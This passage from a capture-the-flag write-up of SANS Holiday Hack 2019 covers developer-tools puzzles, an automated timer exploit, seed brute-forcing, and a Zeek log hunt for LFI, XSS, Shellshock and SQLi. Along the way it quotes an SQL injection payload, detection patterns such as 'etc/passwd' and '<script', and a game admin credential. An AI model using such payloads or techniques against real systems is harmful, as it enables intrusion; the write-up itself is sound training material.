    Unfortunately, when we open the Network tab, many requests were missed, because we didn't have it open when the requests were loading. We can refresh the page, and we notice that the value in the Console has changed. We re-solve the first two locks and notice an image in the Network tab. Using the Preview tab, we see it's a code:


    Figure 70: He examines the walls and the floor and looks, for hidden switches or secret mechanisms, all to no avail.

  • Lock 4: Local Storage

    Where might we keep the things we forage? Yes, of course: Local barrels!

    We keep that next to the cookie jar

    This is the first clue that doesn't rhyme. Between the clue, the trail hint, and the additional hint (below), we realize it means the Local Storage section, under the Application tab, which would correctly rhyme:

    Google: "[your browser name] view local storage"

    Sure enough, we find the barrels in Local Storage:


    Figure 71: "Just like shooting ducks in a barrel."

  • Lock 5: Title Code

    Did you notice the code in the title? It may very well prove vital.

    My title is toy maker the combination is 12345

    The additional hint confirms that we should be checking the title:

    There are several ways to see the full page title:

    • Hovering over this browser tab with your mouse
    • Finding and opening the <title> element in the DOM tree
    • Typing document.title into the console

    In keeping with the theme of using the Developer Tools, we'll go to the Elements tab, and search (Ctrl-F on Windows and Linux, โŒ˜+F on Mac) for title:


    Figure 72: "The day's only so long."

  • Lock 6: All About Your Perspective

    In order for this hologram to be effective, it may be necessary to increase your perspective.

    Are we making hologram elf trading cards this year?

    This one was a bit tricky. The hints are pointing us to the rainbow-colored hologram next to the lock. The additional hints might help:

    perspective is a css property.

    Find the element with this css property and increase the current value.

    The easiest way to find the element is to right-click it, and select Inspect:


    Figure 73: "It's basically a filter."

    Once we've selected the right element, we can view the CSS properties in the Styles tab of the right side of the Developer Tools. Sure enough, there's a property named perspective, which we can double click the default value to change.

    The meaning of the perspective property is a bit tricky to understand. The value is initially 15px, which means that we're sitting 15 pixels away from the hologram. Like sitting too close to the TV, everything is spread out. As we increase the value of our perspective, as the hint tells us to do, we move further back from the hologram, and the letters slowly coalesce into our code. We can keep increasing the distance until the letters stop moving, or just disable the whole 3D effect by setting the perspective to 0 or none.


    Figure 74: "You've increased it to 6 megawatts."

  • Lock 7: Slick Font

    The font you're seeing is pretty slick, but this lock's code was my first pick.

    If we are, we should have a few fonts to choose from

    We need to find the first font. The additional hint confirms this:

    In the font-family css property, you can list multiple fonts, and the first available font on the system will be used.

    Similar to how we solved the previous lock, we can inspect some of the text, search the CSS style for font, and we find a code hidden as a font-family.


    Figure 75: "You're not first anymore."

  • Lock 8: Bad Eggs

    In the event that the .eggs go bad, you must figure out who will be sad.

    The parents of spoiled kids go on the naughty list…

    We notice that .eggs is a different color, and we can Inspect that element. At first, nothing seems noteworthy. The additional hint points us in the right direction:

    Google: "[your browser name] view event handlers"

    When we look at the Event Listeners for that element, we see an event named spoil, which is referenced in the Trail hint. The handler makes VERONICA sad.


    Figure 76: "This is Jesus, Kent, and you've been a very naughty boy."

  • Lock 9: Activating Chakras

    This next code will be unredacted, but only when all the chakras are :active.

    Some toys have to be forced active

    Looking closely at the instructions, we notice that there's an extra colon before "active":


    Figure 77: "I'm gonna have to push harder."

    The first additional hint is:

    :active is a css pseudo class that is applied on elements in an active state.

    A common example of activating an element is clicking on it, and we see that if we do this on certain words in the instructions, portions of the code appear. We can also force the state to be active, and see all chakras at once.


    Figure 78: "All I can tell you is it's rare and unstable."

  • Lock 10: Gnome in Your Corbin

    Oh, no! This lock's out of commission! Pop off the cover and locate what's missing.

    Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp!

    The first hint is:

    Use the DOM tree viewer to examine this lock. you can search for items in the DOM using this view.

    If we inspect the entire lock, we see:

    <div class="lock c10">
      <div class="cover">
        <button data-id="10" disabled="disabled">Unlock</button>
      <input type="text" maxlength="8" data-id="10"> 
      <button class="switch" data-id="10"></button> 
      <span class="led-indicator locked"></span> 
      <span class="led-indicator unlocked"></span>

    We've found the cover that we're supposed to pop off, and the second hint tells us how:

    You can click and drag elements to reposition them in the DOM tree.

    We drag and drop (and delete) to end up with:

    <div class="lock c10">
      <button data-id="10" disabled="disabled">Unlock</button>
      <input type="text" maxlength="8" data-id="10"> 
      <button class="switch" data-id="10"></button> 
      <span class="led-indicator locked"></span> 
      <span class="led-indicator unlocked"></span>

    We try a code, but get no failure message. The third hint points us towards the Console if we don't get the desired effect, which tells us: Error: Missing macaroni!. We were told that we can search for elements in the DOM tree, and sure enough, we find macaroni, and move it into our lock, where it appears.

    We repeat this process, finding the correct elements and moving them into the lock, until we end up with:

    <div class="lock c10">
      <button data-id="10">Unlock</button>
      <input type="text" maxlength="8" data-id="10"> 
      <button class="switch" data-id="10"></button> 
      <span class="led-indicator locked"></span> 
      <span class="led-indicator unlocked"></span>
      <div class="component macaroni" data-code="A33"></div>
      <div class="component swab" data-code="J39"></div>
      <div class="component gnome" data-code="XJ0"></div>

    The last hint ("Be sure to examine that printed circuit board.") helps us find the code, which is hidden on the bottom right:


    Figure 79: "Unlock the bird's-eye."

    Once we unlock the last lock, we see:


    Figure 80: "It should have gone further, faster."

    We've solved the challenge, and identified the villain!

Automating the Solution: < 1s

Observing the HTTP response from opening the crate, we see:

Well done! Do you have what it takes to Crack the Crate in under three minutes?

Now that we know the drill, we're able to improve our time, just to see another challenge:


Figure 81: "Is something wrong with the test scores?"

Very impressive!! But can you Crack the Crate in less than five seconds?

Five seconds is a tall order. At that point, we can't do it manually, and must use automation. We start studying the locks further, and design a plan. The codes are hidden across 4 resources:

  1. The HTML page (print media, title, hologram, and font)
  2. The stylesheet (chakras)
  3. The javascript (console, local storage)
  4. The image

Additionally, locks 8 and 10 (spoiled eggs and broken lock) always have the same codes.

The codes are discovered as follows:

  1. The value printed to the console follows %cโ–‹, after base64 and then hex-encoding it. We search client.js for that string, then extract our code.
  2. Using BeautifulSoup to parse the HTML: soup.find("div", {'class' : 'libra'}).find('strong')
  3. We use PyTesseract to OCR the iamge: pytesseract.image_to_string('https://' + domain + '/images/%s.png' % token).content)))
  4. Search the Javascript for the base64-encoded version of the barrels (๐Ÿ›ข๏ธ๐Ÿ›ข๏ธ๐Ÿ›ข๏ธ), and extract the string.
  5. Last 8 of the title, soup.find('title').decode_contents()[-8:]
  6. The characters in the hologram are always in the same order [3, 0, 4, 6, 5, 2, 7, 1]. Use BeautifulSoup to extract the characters: soup.find("div", {'class': 'hologram'}).find('div').children
  7. Find the style, and extract the code: soup.find('style').decode_contents().split("'")[1]
  9. Parse the CSS, with something like: if line.startswith(" content:"): result += line.split("'")[1].
  10. KD29XJ37

With this script, we're able to complete it in a couple hundred milliseconds:


Figure 82: You are a Crate Cracking Master! This is our highest rank. A building will be named in your honor, probably.

Improving our Speed: <100 ms

At this point, we do a few iterations of optimization on our code.

To minimize network latency, we use a Google Compute instance in the same GCE zone.

We're using the Python Requests library, and switch to Session Objects, which will persist the same HTTP connection across multiple requests.

To improve SSL performance, we force the use of ECDH+AES256, which should be the fastest option offered by the server.

At this point, most of the execution time is within our Python code. We have several requests back and forth to the server, so we introduce artificial delays at each step, and run a few tests to determine when exactly the server thinks that we started and stopped our attempt. We discover that we only start the attempt upon downloading the Javascript file, so we move to performing everything except for locks 1 and 4 first, fetching the Javascript, and then submitting our answers. Most importantly, our OCR no longer counts against us, as this was the biggest contributor.

We downloaded the Javascript file 1000 times, and noticed that roughly 3% of the time, we received a file that was the same size. In these files, the offsets of the codes to the locks were at consistent locations. So, we changed our code to only make an attempt when the JS file was of this size, using the specific offsets, and avoid two operations that search the contents of the file.

The final steps we take to improve the performance are to use the Python multiprocessing module to parallelize our requests to unlock locks 1 and 4, and to compile our code via Cython.

After all this, we're able to drop under the 100ms mark:


At this point, our automated solution runs almost 4 times faster than our initial attempt.

Cheating to Achieve 7ms

After all this work, we identified a logic error in the code which made it much easier. It turns out that we only needed to solve one lock, and not all 10. Our final code looks like this:

#!/usr/bin/env python3

from multiprocessing import Barrier, Process
import requests
import uuid

domain = ''

def start(seed, synchronizer):
    """Download the Javascript to start our timer."""

    s = requests.Session()

    # Wait for the other function

    # HEAD request because we don't actually need the contents
    s.head('https://' + domain + '/client.js/' + seed)

def stop(seed, synchronizer):
    """Submit our answer to stop the timer."""

    data = {'seed': seed, 'codes': {'8': "VERONICA"}}

    s = requests.Session()

    # Wait for the other function

    result ='https://' + domain + '/open', json=data)

def main():
    # Pick a random UUID
    seed = str(uuid.uuid4())

    # Run start and stop, simultaneously
    synchronizer = Barrier(2)
    Process(target=start, args=(seed, synchronizer)).start()
    Process(target=stop, args=(seed, synchronizer)).start()

    print("Image is at https://" + domain + "/images/scores/" + seed + ".jpg")

if __name__ == '__main__':

This function attempts to start and stop the timer as close together as possible. We only submit the value of one of the locks, and it's one that always stays the same, so no computation is needed.


Figure 84: "Mitch beat your scores by 20 points."

Bonus: Cracking the Code

Early on, we noticed this commented-out Javascript snippet when visiting

const getTestFlag = seed => {
    const chance = new Chance(seed);
        length: 8,
        pool: 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',

We were confused as to why this was here, and thought that maybe it was left over from testing the challenge. Later on, we realized that by supplying the UUID as the seed, this snippet would generate the code in the image that was fetched but never shown.

We knew that to validate a certain code, we needed to supply the server the UUID, and which lock the code was for. We thought it likely that the getTestFlag function was used for the other codes, just with a different seed. We also thought it likely that those seeds were tied to the UUID, as everything in this challenge seemed to stem from the one UUID.

We wrote a script to brute-force the seed. We manually solved the challenge, and presented the valid codes and UUID to the script. After about 20 seconds, we saw:

$ node token_brute.js
Found seed for QO27M4Q2 (lock 3) 7b5a647b-1b41-4973-bc38-4472c3ee484a
Found seed for YP68TGPC (lock 4) 7b5a647b-1b41-4973-bc38-4472c3ee484a_ls
Found seed for QSE47ABU (lock 7) 7b5a647b-1b41-4973-bc38-4472c3ee484a_font

Success! We let it run for another hour, and didn't get anywhere, though. But, we could easily identify a pattern, and it was time to refine our search.

We expanded all the hints, and saved the crate webpage, then used grep to generate a wordlist: egrep -o '[a-zA-Z]+' crate.html | sort | uniq > wordlist. A script that iterated through this list was able to find the other seeds almost immediately:

$ node token_wordlist.js
Found seed for D6OQJZLR (lock 9) 7b5a647b-1b41-4973-bc38-4472c3ee484a_chakras
Found seed for F0STIHB8 (lock 1) 7b5a647b-1b41-4973-bc38-4472c3ee484a_console
Found seed for 7S4L7YC1 (lock 6) 7b5a647b-1b41-4973-bc38-4472c3ee484a_hologram
Found seed for U7VX636E (lock 2) 7b5a647b-1b41-4973-bc38-4472c3ee484a_print
Found seed for XVK9EIF5 (lock 5) 7b5a647b-1b41-4973-bc38-4472c3ee484a_title

12. Filter Out Poisoned Sources of Weather Data ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„


Use the data supplied in the Zeek JSON logs to identify the IP addresses of attackers poisoning Santa's flight mapping software. Submit the Route ID ("RID") success value that you're given.

Block the 100 offending sources of information to guide Santa's sleigh through the attack.

You see, Santa's flight route is planned by a complex set of machine learning algorithms which use available weather data.

All the weather stations are reporting severe weather to Santa's Sleigh. I think someone might be forging intentionally false weather data!

I'm so flummoxed I can't even remember how to login!

Hmm… Maybe the Zeek http.log could help us.

I worry about LFI, XSS, and SQLi in the Zeek log - oh my!

And I'd be shocked if there weren't some shell stuff in there too.

I'll bet if you pick through, you can find some naughty data from naughty hosts and block it in the firewall.

If you find a log entry that definitely looks bad, try pivoting off other unusual attributes in that entry to find more bad IPs.

The sleigh's machine learning device (SRF) needs most of the malicious IPs blocked in order to calculate a good route.

Try not to block many legitimate weather station IPs as that could also cause route calculation failure.

Remember, when looking at JSON data, jq is the tool for you!

For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae.

Finding Bad in Web Logs: Do you see any LFI, XSS, Shellshock, or SQLi?

Data Correlation: Take known nasty sources and look at their supporting characteristics to grow your insights into other bad sources used by attackers.

Jq Functions: JQ supports many functions for analysis, including test, select, and contains. Use these functions to your advantage!


According to the objective, we need to identify the bad IPs and then block those using the firewall. Clearly we need access to the SRF server and there may be more clues within so that will be our initial focus. The intro to the iptables terminal told us:

Kent TinselTooth: Please no, they're testing it at using default creds, but I don't know more. It's classified.

Also, recall from Objective 10 we decrypted a secret PDF. Contained in that document are a ton of details about the Sled-O-Matic, but also the following line:

The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository.

There's no git server that we can find, but perhaps we can get lucky. In the http.log, we notice a successful request for, and find Contained within are the exceptionally good default credentials to SRF:

admin 924158F9522B3744F5FCD4D10FAC4356

Not only do we have access to the required firewall, but we have API documentations as well. Unfortunately, the current weather map makes it clear the climate change is real and we should all be very concerned.

Similar to the previous termimal challenge, we use jq to parse the JSON log format:

$ cat http.log | jq '.[] | select(.uri|test("")) | .uri,.["id.orig_h"],.user_agent,.status_code'
 "Mozilla/4.0 (compatible;MSIe 7.0;Windows NT 5.1)"

There are a couple things of note here. The most concerning is that someone else potentially obtained the same default credentials we did. Secondly, the user_agent has "MSIe" with the wrong capitalization.

Let's look at what else that src IP did:

$ cat http.log | jq '.[] | select(.["id.orig_h"]|test("")) | .uri,.status_code'

Uh oh. -> /api/login -> home.html. That's almost certainly a bad actor. A normal user going to the SRF portal would download the index which also grabs the title image, css, and javascript files. Going directly from the README file to the /api/login endpoint is very suspicious. Given the incorrect user_agent, we can pivot on that as well:

$ cat http.log | jq "/api/weather?station_id=1' UNION SELECT NULL,NULL,NULL--"

Looks like they tried an SQL injection as well. If this were a real incident investigation we might consider this to be the attacker's originating IP when they were manually probing the system.

While poking around at the logs we took a few notes of patterns that might be interesting later. We also noted that odd things only appeared in uri, user-agent, and host fields.

-r nessus

This was a tricky objective. We tend to be more agressive with our definition of what's bad. For example, if we look at just potential scanners looking for .php files we get 1699 IPs. We know from the objective that we're only looking for 100.

Going back to the instructions we reduce our concept of 'bad' and focus only on the four types of attacks (LFI, XSS, Shellshock, SQLi).

Local File Inclusion (LFI)

Looking for Local File Inclusion (LFI) first, we search for "../" in the uri as a classic identifier for LFI attempts.

$ cat http.log | jq '.[] | select(.uri|test("\\.\\./")) | .uri'

This gives four results that all refer to 'etc/passwd.' Given how common that might be as a target file, we'll shift slightly and look for 'etc/passwd' instead:

$ cat http.log | jq '.[] | select(.uri|test("etc/passwd")) | .uri'

Excellent, 11 results this time.

Cross-Site Scripting (XSS)

For XSS, we look for the existence of "<script" in the uri, but we also found a few in the host field

$ cat http.log | jq '.[] | select(.uri|test("<script")) | .["id.orig_h"],.uri'
$ cat http.log | jq '.[] | select(.host|test("<script")) | .["id.orig_h"],.host'

Between the two we get 16 more IPs we can classify as bad.


The Shellshock attack was an attempt to inject shell commands into HTTP headers. We started poking around with searches for 'bash' or 'bin/sh'. In the end we settled on 'bin/' as it seems to find all six IPs we've identified attempting Shellshock.

$ cat http.log | jq '.[] | select(.user_agent|test("bin/")) | .["id.orig_h"],.user_agent'

That's 6 more.

SQL Injection (SQLi)

Looking for SQLi was fairly straightforward and returned the biggest number of results for attacker IPs. We found 'SELECT' in both the user_agent and uri fields:

$ cat http.log | jq '.[] | select(.uri|test("SELECT")) | .["id.orig_h"]' | wc -l
$ cat http.log | jq '.[] | select(.user_agent|test("SELECT")) | .["id.orig_h"]' | wc -l

There were also several examples with lowercase 'select' and 'Select' but these were not injection attempts.

With these 25, our total number of attacking IPs is 58.

Pivoting on Other Fields

Wunhorse gave us the following hint:

Take known nasty sources and look at their supporting characteristics to grow your insights into other bad sources used by attackers.

Looking at a few of our bad IPs and all of the fields in those logs entries, the first thing that stands out is the user_agent fields:

$ cat http.log | jq '.[] | select(.["id.orig_h"]=="") |.uri,.user_agent'
 "Mozilla/4.0 (compatible; Metasploit RSPEC)"

$ cat http.log | jq '.[] | select(.["id.orig_h"]=="") |.uri,.user_agent'
 "Mozilla4.0 (compatible; MSSIE 8.0; Windows NT 5.1; Trident/5.0)"

$ cat http.log | jq '.[] | select(.["id.orig_h"]=="") |.uri,.user_agent'
 "Mozilla/4.0(compatible; MSIE 666.0; Windows NT 5.1"

"Metasploit" is obviously suspicious, but the other two examples are a bit more subtle with their misspellings: "MSSIE" and "MSIE 666.0." Recall we were also able to pivot on the user_agent of the original attacker IP, so this looks promising.

$ cat http.log | jq '.[] | select(.user_agent|test("Metasploit")) |.uri,.["id.orig_h"]'

$ cat http.log | jq '.[] | select(.user_agent|test("MSSIE")) |.uri,.["id.orig_h"]'

$ cat http.log | jq '.[] | select(.user_agent|test("666.0")) |.uri,.["id.orig_h"]'

Interesting. Each suspicious user_agent is only used one other time. While we did go through these by hand the first time, this is also where automation can come in. The only exception to this is the original attacking IP of Rather than searching manually using jq, we implemented our search strings and user_agent pivoting using Python3. Running this gives us 94 unique IPs that we think are bad. It also gave us the opportunity to print out all of the 'bad' user_agents.

python3 | wc -l

List of misspelled or otherwise suspicious user_agents:

Mozilla/4.0 (compatible; MSIE6.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT5.1)
Mozilla/4.0 (compatible; MSIE 6.1; Windows NT6.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windos NT 6.0)
Mozilla/4.0 (compatibl; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N
Mozilla/4.0 (compatible; Metasploit RSPEC)
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) ApleWebKit/525.13 (KHTML, like Gecko) chrome/ safari/525.13
Mozilla/5.0 (compatible; Goglebot/2.1; +
Mozilla/5.0 (compatible; MSIE 10.0; W1ndow NT 6.1; Trident/6.0)
Mozilla/4.0 (compatible; MSIEE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AntivirXP08; .NET CLR 1.1.4322)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Tridents/4.0; .NET CLR 1.1.4322; PeoplePal 7.0; .NET CLR 2.0.50727)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Mozilla/5.0 (Windows NT 6.1; WOW62; rv:53.0) Gecko/20100101 Chrome /53.0
Mozilla/4.0 (compatible; MSIE 8.0; Window NT 5.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tridents/4.0)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NETS CLR  1.1.4322)
Wget/1.9+cvs-stable (Red Hat modified)
Mozilla/4.0 (compatible; MSIE 8.0; Windows MT 6.1; Trident/4.0; .NET CLR 1.1.4322; )
Mozilla/5.0 (Windows NT 5.1 ; v.)
Mozilla/5.0 WinInet
Mozilla/4.0 (compatible; MSIE 8.0; Windows_NT 5.1; Trident/4.0)
Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30731
Opera/8.81 (Windows-NT 6.1; U; en)
Mozilla/5.0 Windows; U; Windows NT5.1; en-US; rv: Gecko/20100401 Firefox/3.6.1 (.NET CLR 3.5.30729)
Mozilla/4.0 (compatible MSIE 5.0;Windows_98)
Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 500.0)
Mozilla4.0 (compatible; MSSIE 8.0; Windows NT 5.1; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 6.a; Windows NTS)
Mozilla/4.0(compatible; MSIE 666.0; Windows NT 5.1
Mozilla/5.0 (Windows NT 10.0;Win64;x64)

The 94 bad IPs we now have are good enough to complete the objective, but the instructions tell us to block the 100 offending IPs, so we really want to find six more. Going back to our original set of bad IPs, we find another odd characteristic in the host field for our Shellshock attackers:

$ cat http.log | jq '.[] | select(.user_agent|test("bin/")) | .host'

Misspelling of the host as well. If we pivot on that we get 12 IPs, 6 of which are new:

$ cat http.log | jq '.[] | select(.host|test("ssrf")) | .["id.orig_h"]' | wc -l

Adding 'ssrf' to our search parameters in our Python script and a little tweak to the output to join it with commas, we have our 100 bad IPs.


Pasting this into the firewall input on and clicking DENY will fix our bad weather readings and allow Santa to deliver presents.

#!/usr/bin/env python3

import json

def add_ua(my_dict, ua):
    Sets/increments the count of how many times a user_agent has been seen

        my_dict(dict): the dictionary you are using to track this
        ua(str): the user_agent seen

        my_dict(dict): key and value pairs of user_agent and count
    if ua in my_dict:
        my_dict[ua] += 1
        my_dict[ua] = 1

    return my_dict

def search_json(my_json):
    Look for bad things in the json fields

        my_json(json): the json containing all the data

        All of these are a key and then a value of count thanks to add_ua()

        ua_dict(dict): all of the user_agents seen
        bad_ua_dict(dict): known bad user_agents
        bad_hosts(dict): known bad hosts
    ua_dict = {}
    bad_ua_dict = {}
    bad_hosts = {}

    #                 Match       Fields
    bad_traffic = { "<script": ["uri", "user_agent", "host"], # XSS
                    "etc/passwd": ["uri", "user_agent", "host"], # LFI
                    "SELECT": ["uri", "user_agent", "host"], # SQLi
                    "ssrf": ["uri", "user_agent", "host"], # SSRF
                    "bin/": ["user_agent"], # Shellshock

    for obj in my_json:
        ua_dict = add_ua(ua_dict, obj["user_agent"])
        for bstr, fields in bad_traffic.items():
            for field in fields:
                if bstr in obj[field]:
                    # we'll be pivoting on user_agent
                    bad_hosts[obj["id.orig_h"]] = obj["user_agent"]
                    bad_ua_dict = add_ua(bad_ua_dict, obj["user_agent"])

    return ua_dict, bad_ua_dict, bad_hosts

def find_doubles(bad_ua_dict, ua_dict):
    We noticed a pattern when manually pivoting on the known bad traffic.
    A 'bad' UA (fairly obvious mispellings, etc), would only be used one
    extra time

        bad_ua_dict(dict): known bad user agents and their count

        final_bad_ua(list): our final list of bad IPs based on user_agent
    final_bad_ua = []
    for bua in bad_ua_dict:
        if ua_dict[bua] == 2:

    return final_bad_ua

def ua_pivot(my_json, bad_hosts, final_bad_ua):
    Now that we have our known real bad UAs, we cycle back through the json

        my_json(json): the json containing all the data
        bad_hosts(dict): known bad hosts
        final_bad_ua(list): our final list of bad IPs based on user_agent

        bad_hosts(dict): known bad hosts
    for obj in my_json:
        if obj["user_agent"] in final_bad_ua:
            bad_hosts[obj["id.orig_h"]] = obj["user_agent"]

    return bad_hosts

def main():
    with open("http.log", "r") as logf:
        my_json = json.load(logf)

    ua_dict, bad_ua_dict, bad_hosts = search_json(my_json)
    final_bad_ua = find_doubles(bad_ua_dict, ua_dict)
    bad_hosts = ua_pivot(my_json, bad_hosts, final_bad_ua)

    # Plus the original attacker (whose UA violates the =2 rule)
    ] = "don't care, but we did find it based on it's history via UA manually"

    print(", ".join(bad_hosts))

if __name__ == "__main__":


Figure 85: RID=0807198508261964


The Campus

Interacting with the Game

We tried out websocat for interacting with the game. For example, to chat with a character:

websocat wss:// | grep PSSST

You can also move around, with something like {"type":"MOVE_USER","loc":{"16647":[4,0]},"areaId":"sleighshop"}.

Finding Jason

Jason was hanging out among quite literally a huge pile of teeth in the Bell Tower:


Figure 86: It's Jason!

By playing around with the WebSocket messages {"type":"HELLO_ENTITY","entityType":"npc","id":"plant"}, we were able to find Jason a second time!

Hi, my name is Jason!

Welcome to KringleCon!

We miss you psmitty



Figure 87: The Whiteboard Draft

As usual, we kept a draft of the map on the whiteboard in our "War Room." This year however, we decided to take a 3D direction (using Sketchup) for detailing the map of campus.


Figure 88: The Train Station


Figure 89: The Quad


Figure 90: Student Union


Figure 91: Hermey Hall, NetWars, Speaker UNpreparedness Room


Figure 92: Laboratory


Figure 93: Dormitory, Minty's Room, Closet


Figure 94: Steam Tunnels


Figure 95: Sleigh Workshop


Figure 96: The Bell Tower

Easter Eggs


Figure 97: Searching for Easter Eggs like Jebediah Springfield

We're always amazed each year at how many jokes and easter eggs get packed into the challenge. Here are what we found this year:

Easter Egg Reference Challenge Location
Holiday Hack Trail Oregon Trail Holiday Hack Trail N/A
Jebediah Springfield Simpsons Holiday Hack Trail Default PlayerID
I'm sorry, but our princess is in another North Pole. Super Mario Bros. Holiday Hack Trail HTML comment in victory screen
trail-mix-cookie Trail mix Holiday Hack Trail http cookie
darealmvp Kevin Durant speech Path The real ls
Kent Tinseltooth (his braces talk in the movie) Real Genius Smart Braces Student Union
Voice in Kent's head is like when God talked to him Real Genius Smart Braces Student Union
echo complete > /tmp/A95C530A7AF5F492A74499E70578D150.txt md5 of asdfasdfasdf General Nerdery Smart Braces N/A
Laser Real Genius Xmas Cheer Laser Hermey Hall
http://localhost:1225 -> 12/25 Christmas Xmas Cheer Laser Laser Server
Santa holding an umbrella Mary Poppins Objective 0 The Quad
Two Turtle Doves Michael and Jane Mary Poppins Objective 2 Student Union
Rue the day Real Genius Objective 6 Splunk chat with Kent
Alice Bluebird Alice Through the Looking Glass Objective 6 Chat
Krampus Hollyfeld is Lazlo Hollyfeld Real Genius Objective 7 and others N/A
Frido Sleigh Contest/Frito Lay Contest entries Real Genius Objective 8 Steam Tunnels
Machine Learning Via TinselFlow Tensorflow Objective 10 Decrypted PDF
Parents of spoiled eggs Willy Wonka (Veruca?) Objective 11 Lock 8
Ludicrous Speed has a plaid background SpaceBalls Objective 11 Sleigh Shop Door
rank: Ice Ice Baby Vanilla Ice - Ice Ice Baby Objective 12 Station Weather
0807198508261964 is the release dates of Real Genius and Mary Poppins Real Genius/Mary Poppins Objective 12 Sleigh Workshop
<!– <div class=โ€œsecondaryโ€>CODE: 8675309</div> –> Tommy Tutone - 8675309 Objective 12 alert.html
You see, while he sleeps (He Sees You While You're Sleeping) Santa Claus N/A Main logo: Ille te videt dum dormit
Hermey the Elf Rudolph N/A Hermey Hall
Dr. Banas' student Kent Real Genius N/A Laboratory
College Campus Real Genius N/A All
Wall drawings Real Genius N/A Dorm
Fish water cooler Real Genius N/A Minty's Dorm Room
Einstein Picture Real Genius N/A Minty's Dorm Room
This is it Real Genius N/A Minty's Closet
Steam Tunnels Real Genius N/A Steam Tunnels
Dr Banas references Kent picking up his drycleaning Real Genius N/A Laboratory
I got 31.8% of the prizes, though I'll have to figure that out. Real Genius N/A Krampus in the Bell Tower
Dr Banas - Robert Banas played a chimney sweep Mary Poppins N/A Laboratory
Ninjula - Supa Cali Fragile Lipstick Mary Poppins N/A Music in Sleigh Workshop
Ninjula - โ€œShells popping to be merry. Mary, a villain weโ€™ve encountered this scary. Insane. Remain vigilant and always be waryโ€ฆโ€ Mary Poppins N/A Music in Sleigh Workshop
Santa - "The more I laugh, the more I fill with glee. And the more the glee, The more Iโ€™m a merrier me!" Mary Poppins N/A Santa Claus in the Bell Tower
Golden ticket Willy Wonka N/A
Golden ticket, redux Willy Wonka N/A Laptop in NetWars room
rutroh Jetsons & Scooby Doo Mini-games and Terminals conduit.js error message
And I would have gotten away with it too, if it weren't for you meddling kids Scooby Doo N/A Tooth Fairy in the Bell Tower
Ninjula - Everybody wants to look a lot like christmas Tears for Fears - Everybody Wants to Rule the World N/A Music in the Bell Tower
Minty's poster HHC16 N/A Behind her bed
Train HHC16 N/A Train station
Tardis HHC16 N/A Dorm wall
Tin Man HHC17 N/A Dorm wall


Thank you to ElfU for hosting KringleCon 2: Turtle Doves! We learned a lot, and along the way, discovered the secret in Minty's closet, that Krampus sent the doves after some scraps of paper, and detected and thwarted the Tooth Fairy's dastardly attempts to destroy the holiday season.

On a personal note, it was a treat to see ourselves as part of the Holiday Hack Trail! We even figured out how to give each other dysentery, even though it wasn't easy…

Thank you to all the great speakers and, of course, to Santa for putting on this conference for a second year. Hopefully next year will go much more smoothly…


Figure 98: Cliffhanger Note


You have nyaned for 1 seconds!

Author: ESnet Security Team